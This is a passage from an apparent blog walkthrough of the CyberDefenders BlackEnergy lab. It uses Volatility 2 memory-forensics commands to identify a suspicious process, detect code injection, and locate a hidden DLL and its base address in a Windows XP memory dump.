width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since the question mentions &lt;em&gt;Volatility,&lt;/em&gt; let&amp;rsquo;s take a quick detour to get a refresher of what it is. According to the &lt;em&gt;Volatility Framework&lt;/em&gt; website:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://volatilityfoundation.org/the-volatility-framework/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The Volatility Framework was developed as an open source memory forensics tool written in Python.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Meaning we will use &lt;em&gt;Volatility&lt;/em&gt; to analyze the contents of the .&lt;em&gt;raw&lt;/em&gt; memory dump provided to us. Now, there are a couple of versions of &lt;em&gt;Volatility: Volatility 2.6&lt;/em&gt; (The original, not in active development) and the latest, &lt;em&gt;Volatility 3&lt;/em&gt; (in active development) which are a little different.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of this challenge, one of the key differences is that &lt;em&gt;Volatility 2&lt;/em&gt; uses &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;profiles&amp;quot;&#xA;to identify the operating system of the dump to accurately identify the locations of artifacts in memory. OS profiles like this aren&amp;rsquo;t used in &lt;em&gt;Volatility 3&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now what does this all mean? Well, &lt;strong&gt;Question 1&lt;/strong&gt; is asking about profile usage so going forward we know that the challenge will have us using &lt;em&gt;Volatility 2&lt;/em&gt; (which I am just going to call &lt;em&gt;Volatility&lt;/em&gt; for the rest of the write-up).&lt;/p&gt;&#xA;&lt;p&gt;With that background out of the way, let&amp;rsquo;s finally invoke &lt;em&gt;Volatility&lt;/em&gt; and use the &lt;em&gt;-h&lt;/em&gt; option to review the help file. This is a great idea to get an overview of what commands are available.&lt;/p&gt;&#xA;&lt;p&gt;vol.py -h&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re looking for a specific command that can help us determine which operating system profile we&amp;rsquo;ll use going forward. After reviewing the available options, we&amp;rsquo;ll find that &lt;code&gt;imageinfo&lt;/code&gt; is the best choice.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5214px&#34; data-flex-grow=&#34;2172&#34; height=&#34;22&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/c4d5322d7dafb7416890aaa7a7c4605e_MD5.png&#34; width=&#34;478&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f CYBERDEF-567078-20230213-171333.raw imageinfo&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;800px&#34; data-flex-grow=&#34;333&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/e41c0459bf17b07f63f0998c83898dc4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the command against the memory dump, we&amp;rsquo;ll find the answer to &lt;strong&gt;Question 1&lt;/strong&gt; in the &lt;em&gt;Suggested Profile(s)&lt;/em&gt; list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1496px&#34; data-flex-grow=&#34;623&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/291f10dd4338ba8ead6a97e93d704b35_MD5.png&#34; width=&#34;798&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-how-many-processes-were-running-when-the-image-was-acquired&#34;&gt;Question 2: How many processes were running when the image was acquired?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we know what profile to apply, we&amp;rsquo;ll need to analyze the memory dump and determine how many processes were running when the image was acquired. To do this, let&amp;rsquo;s review the &lt;em&gt;Volatility&lt;/em&gt; help again to see if we can find a command that can display this data.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try the &lt;strong&gt;&lt;em&gt;pslist&lt;/em&gt;&lt;/strong&gt; command to display all the running processes and apply the profile we discovered in &lt;strong&gt;Question 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;6910px&#34; data-flex-grow=&#34;2879&#34; height=&#34;24&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/9564f2632a5764a70d2e92f8b473cb1b_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f CYBERDEF-567078-20230213-171333.raw &amp;ndash;profile=QUESTION-1-ANSWER pslist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;531px&#34; data-flex-grow=&#34;221&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/a2fe1154d3c0f99f2fb19425dcfd78d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice! The output shows the running processes so it should be a simple matter of counting them to answer &lt;strong&gt;Question 2&lt;/strong&gt;, right? Well, almost. There is just one small detail to note. We are looking for &lt;em&gt;running&lt;/em&gt; processes so the ones with a date/time in the &lt;em&gt;Exit&lt;/em&gt; column or that have 0 threads are not actually running at the time of the capture, so we need to subtract them from the total.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1473px&#34; data-flex-grow=&#34;613&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/760591142904bbe81b534e9d26f292b4_MD5.png&#34; width=&#34;792&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-process-id-ofcmdexe&#34;&gt;Question 3: What is the process ID of cmd.exe?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue analyzing the output generated with the &lt;em&gt;pslist&lt;/em&gt; command. To answer &lt;strong&gt;Question 3,&lt;/strong&gt; we&amp;rsquo;re going to focus on &lt;em&gt;cmd.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;531px&#34; data-flex-grow=&#34;221&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/4d2e7c8fd23a946ef49adbeaea57bb12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we locate the process name, we can check the &lt;em&gt;process ID&lt;/em&gt; (&lt;em&gt;PID&lt;/em&gt;) column to find the answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1512px&#34; data-flex-grow=&#34;630&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/b8369b44e5e43884d693b2b71c30ada3_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-name-of-the-most-suspicious-process&#34;&gt;Question 4: What is the name of the most suspicious process?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll continue examining the process list. Typically, some familiarity with normal &lt;em&gt;Windows&lt;/em&gt; processes would be beneficial but fortunately for us, the suspicious process is obviously visible within the list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;531px&#34; data-flex-grow=&#34;221&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/02cdd958d1fe11c67d8f7b79d0172cb7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1540px&#34; data-flex-grow=&#34;641&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/4c5f459ebe33613ef51cce75adc4532a_MD5.png&#34; width=&#34;796&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-process-shows-the-highest-likelihood-of-code-injection&#34;&gt;Question 5: Which process shows the highest likelihood of code injection?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now we need to dig a little deeper with &lt;em&gt;Volatility&lt;/em&gt; to locate the process with the highest likelihood of code injection.&lt;/p&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s get some high-level background on what code injection is from &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1055/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK (T1055)&lt;/em&gt;&lt;/a&gt; to better understand what we&amp;rsquo;re looking for exactly. According to &lt;em&gt;MITRE, Process Injection is:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1055/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;A method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process&amp;rsquo;s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, we&amp;rsquo;re looking for a process injected with malware running its memory space. Let&amp;rsquo;s see what &lt;em&gt;Volatility&lt;/em&gt; commands are available to help us by referring to &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; help file again and using &lt;em&gt;grep&lt;/em&gt; to show us only the options with the word &amp;quot; # &amp;ldquo;inject&amp;quot;in them.&lt;/p&gt;&#xA;&lt;p&gt;vol.py -h | grep &amp;ldquo;inject&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/ac93d7597ebd5ddc6d776697717b450b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are three options available! Let&amp;rsquo;s start with the m_alfind_ command at the top of the list. According to the &lt;em&gt;Volatility&lt;/em&gt; command reference:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The malfind command helps find hidden or injected code/DLLs in user mode memory, based on characteristics such as VAD tag and page permissions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s run the command and see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f CYBERDEF-567078-20230213-171333.raw &amp;ndash;profile=WinXPSP2x86 malfind&lt;/p&gt;&#xA;&lt;p&gt;After going through the output, we&amp;rsquo;ll find a couple of processes but there is one that seems a little suspicious. Notice the &lt;em&gt;ASCII&lt;/em&gt; string &lt;em&gt;MZ&lt;/em&gt; and the corresponding hex (&lt;em&gt;4D 5A)&lt;/em&gt;? This is the &lt;em&gt;magic byte&lt;/em&gt; that indicates the file&amp;rsquo;s format. In this example it appears that a &lt;em&gt;Windows&lt;/em&gt; executable is injected into this process — that&amp;rsquo;s probably not good.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;746&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/e517f4f3a10c11303d6bc22eb07c8f78_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;But we don&amp;rsquo;t have a clear answer if this is malicious yet. Let&amp;rsquo;s do some additional research about &lt;em&gt;malfind&lt;/em&gt; to understand if we are interpreting the results correctly.&lt;/p&gt;&#xA;&lt;p&gt;Below is an excerpt from an excellent blog on &lt;em&gt;Volatility&lt;/em&gt; forensics from security company &lt;a class=&#34;link&#34; href=&#34;https://www.varonis.com/blog/how-to-use-volatility&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Varonis&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.varonis.com/blog/how-to-use-volatility&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;As an incident responder when using €˜malfind&amp;rsquo; if you see these values within a process then it is very likely you have identified a piece of malware that has injected itself into another process.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay, this gives us a bit more confidence that we&amp;rsquo;ve found the correct process to answer &lt;strong&gt;&lt;em&gt;Question 5&lt;/em&gt;&lt;/strong&gt; but let&amp;rsquo;s perform one last check. We&amp;rsquo;re going to dump this process, check it against &lt;a class=&#34;link&#34; href=&#34;https://virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; and see if it is malicious or not. To dump the process, we can use the command below which specifies the &lt;em&gt;PID (-p)&lt;/em&gt; of the malicious process and the output directory for the dump (&lt;em&gt;-D&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f CYBERDEF-567078-20230213-171333.raw &amp;ndash;profile=WinXPSP2x86 malfind -p 880 -D &lt;Path-to-Outputfile&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have a dump of the process, we can use the &lt;em&gt;SHA256sum&lt;/em&gt; command to get the &lt;em&gt;SHA256&lt;/em&gt; file hash of the process.&lt;/p&gt;&#xA;&lt;p&gt;sha256sum process.0x89aab590.0x980000.dmp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5647px&#34; data-flex-grow=&#34;2352&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/2c1f4df3587601dba6d8ba70b0d05c3b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, submit the hash to &lt;a class=&#34;link&#34; href=&#34;https://virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; &lt;em&gt;—&lt;/em&gt; the number of detection hits confirms that the process was injected with malicious code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/518f1658d7241c73b27c85049bc7ba63_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1510px&#34; data-flex-grow=&#34;629&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/599241916f9fe9dac3eaaca6b1710459_MD5.png&#34; width=&#34;793&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-there-is-an-odd-file-referenced-in-the-recent-process-provide-the-full-path-of-thatfile&#34;&gt;Question 6: There is an odd file referenced in the recent process. Provide the full path of that file.&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have dumped the process and confirmed that it is malicious, let&amp;rsquo;s pivot and do some &lt;em&gt;static analysis&lt;/em&gt; on the dumped file. To find the answer to &lt;strong&gt;Question 6&lt;/strong&gt;, we&amp;rsquo;ll use the &lt;em&gt;strings&lt;/em&gt; command from the terminal to pull out text inside of the file that we can analyze.&lt;/p&gt;&#xA;&lt;p&gt;strings process.0x89aab590.0x980000.dmp&lt;/p&gt;&#xA;&lt;p&gt;After running the &lt;em&gt;strings&lt;/em&gt; command, scroll through the output to look for any &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;odd&amp;rdquo;&#xA;referenced files or paths.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;238px&#34; data-flex-grow=&#34;99&#34; height=&#34;614&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/8deb7c501d5f174dcd5d3d2c724068d2_MD5.png&#34; width=&#34;611&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Toward the end of the output, we&amp;rsquo;ll stumble across the highlighted path to a &lt;em&gt;.sys&lt;/em&gt; file — this is the file we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1488px&#34; data-flex-grow=&#34;620&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/e6c9d1b7a8db43e5cf302953f3ffe500_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-injected-dll-file-loaded-from-the-recentprocess&#34;&gt;Question 7: What is the name of the injected dll file loaded from the recent process?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let&amp;rsquo;s jump back into the &lt;em&gt;Volatility&lt;/em&gt; help and see what options we have for analyzing &lt;em&gt;DLL&lt;/em&gt; files. We can do the same method we did in &lt;strong&gt;Question 5&lt;/strong&gt; and _grep&amp;quot;dll&amp;quot;to see the available commands.&lt;/p&gt;&#xA;&lt;p&gt;vol.py -h | grep -i &amp;ldquo;dll&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/5e31db288821e37961b91c98c39767ab_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the &lt;em&gt;dlllist&lt;/em&gt; option, focusing on the malicious process we found back in &lt;strong&gt;Question 5&lt;/strong&gt; to see if anything sticks out as suspicious.&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f CYBERDEF-567078-20230213-171333.raw &amp;ndash;profile=WinXPSP2x86 dlllist -p 880&lt;/p&gt;&#xA;&lt;p&gt;After a quick review, nothing seems obviously suspicious with the &lt;em&gt;dlllist&lt;/em&gt; output. Let&amp;rsquo;s refer back to the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#ldrmodules&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility Command Reference&lt;/em&gt;&lt;/a&gt; and see if we can discover more about another DLL command — &lt;em&gt;ldrmodules.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;There are many ways to hide a DLL. One of the ways involves unlinking the DLL from one (or all) of the linked lists in the PEB. However, when this is done, there is still information contained within the VAD (Virtual Address Descriptor) which identifies the base address of the DLL and its full path on disk. To cross-reference this information (known as memory mapped files) with the 3 PEB lists, use the ldrmodules command.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, using the &lt;em&gt;ldrmodules&lt;/em&gt; command might help us discover a hidden &lt;em&gt;DLL&lt;/em&gt; which has been unlinked from all the lists in the &lt;em&gt;Process Environment Block (PEB)&lt;/em&gt; which contains information about loaded &lt;em&gt;DLLS&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try it and filter on the malicious &lt;em&gt;PID&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f CYBERDEF-567078-20230213-171333.raw &amp;ndash;profile=WinXPSP2x86 ldrmodules -p 880&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;211px&#34; data-flex-grow=&#34;88&#34; height=&#34;907&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/9cf4fb6c1aadca629320c7643cf712f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;One of these &lt;em&gt;DLLs&lt;/em&gt; is not like the others and is pretty suspicious. Notice the highlighted &lt;em&gt;DLL&lt;/em&gt; is not present in any of the three linked &lt;em&gt;PEB&lt;/em&gt; lists — I think we found our answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/fb7c0dc92c3825382defa509942c59b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-base-address-of-the-injecteddll&#34;&gt;Question 8: What is the base address of the injected dll?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! How can we find the base address of the injected &lt;em&gt;DLL&lt;/em&gt; we just uncovered? We know from the last question that the &lt;em&gt;dlllist&lt;/em&gt; command doesn&amp;rsquo;t list the &lt;em&gt;DLL.&lt;/em&gt; We also know that &lt;em&gt;ldrmodules&lt;/em&gt; does list an address, but it&amp;rsquo;s too long to fit the answer format. What to do, what to do?&lt;/p&gt;&#xA;&lt;p&gt;Well, let&amp;rsquo;s fall back to the &lt;em&gt;malfind&lt;/em&gt; output that we used back in &lt;strong&gt;Question 5.&lt;/strong&gt; Remember that there was an &lt;em&gt;Address&lt;/em&gt; for the suspicious process listed? Let&amp;rsquo;s try that one&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;253px&#34; data-flex-grow=&#34;105&#34; height=&#34;749&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/47439662e499634bba7e3f2cc6dcac45_MD5.png&#34; width=&#34;791&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, that worked! Now that we have uncovered the base address of the &lt;em&gt;injected&lt;/em&gt; &lt;em&gt;dll&lt;/em&gt;, let&amp;rsquo;s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1422px&#34; data-flex-grow=&#34;592&#34; height=&#34;134&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/a8c8340d244d534a3b522237983263eb_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! With the help of &lt;em&gt;Volatility,&lt;/em&gt; we successfully identified the suspicious processes, hunted for evidence of process injection, and uncovered malicious &lt;em&gt;DLLs&lt;/em&gt; to assess the scope and impact of this malware. With the objectives completed, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BlackEnergy Lab&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for another engaging and challenging lab. This lab was a great example of the importance of memory dump analysis during &lt;em&gt;DFIR&lt;/em&gt; cases and showcased some excellent scenarios for analyzing memory artifacts. It&amp;rsquo;s been a while since I&amp;rsquo;ve worked with &lt;em&gt;Volatility&lt;/em&gt; hands-on, and it&amp;rsquo;s always a fun and insightful to practice with the tool. This time was no different, especially since I had no previous experience with &lt;em&gt;Volatility 2&lt;/em&gt; and have only worked with &lt;em&gt;Volatility 3&lt;/em&gt; in the past, so there was an added learning component for me too!&lt;/p&gt;&#xA;&lt;p&gt;Please don&amp;rsquo;t forget that if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Framework Website:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://volatilityfoundation.org/the-volatility-framework/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://volatilityfoundation.org/the-volatility-framework/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Wiki Command 